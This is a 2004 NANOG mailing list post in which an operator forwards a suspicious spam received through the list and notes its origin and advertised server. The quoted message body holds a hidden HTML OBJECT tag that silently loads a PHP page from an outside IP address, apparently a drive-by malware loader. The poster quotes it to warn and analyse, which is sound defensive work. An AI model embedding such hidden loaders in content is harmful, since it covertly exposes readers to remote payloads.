nanog mailing list archives

Re: Hi (fwd)

From: "william(at)elan.net" <william () elan net>
Date: Wed, 17 Mar 2004 21:33:34 -0800 (PST)



Me thinks somebody has found a trapdoor in nanog mailsetup and is in 
general out to get us ... 

This one supposedely came from 203.18.63.43 (australia powerhous museum - 
phm.gov.au) and advertises page on ip 165.134.187.102 (saint louis
univerisity - slu.edu). "Connection refused" when I tried to see what's there.

---------- Forwarded message ----------
Return-Path: <owner-nanog () merit edu>
Received: from trapdoor.merit.edu (trapdoor.merit.edu [198.108.1.26])
...
Received: by segue.merit.edu (Postfix)
        id 3B2ED5DE4F; Wed, 17 Mar 2004 23:04:48 -0500 (EST)
Delivered-To: nanog () merit edu
Received: from PH02887.net (unknown [203.18.63.43])
        by segue.merit.edu (Postfix) with SMTP id 0AE2E5DE32
        for <nanog () merit edu>; Wed, 17 Mar 2004 23:04:46 -0500 (EST)
Date: Thu, 18 Mar 2004 15:04:22 +1000
To: nanog () merit edu
Subject: Re: Hi
From: srh () merit edu
Message-ID: <nxkitnadhcvpztronff () merit edu>
...
<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://165.134.187.102:81/132847.php";>
</OBJECT></body></html>

Current thread:

Re: Hi (fwd) william(at)elan.net (Mar 17)
- Re: Hi (fwd) Steven M. Bellovin (Mar 17)
- Re: Hi (fwd) Suresh Ramasubramanian (Mar 17)
  - Re: Hi (fwd) Arnold Nipper (Mar 18)
- Re: Hi (fwd) Colin Neeson (Mar 17)
- Re: Hi (fwd) william(at)elan.net (Mar 17)
  - Re: Hi (fwd) Matthew Sullivan (Mar 18)
- <Possible follow-ups>
- RE: Hi (fwd) Thor Larholm (Mar 18)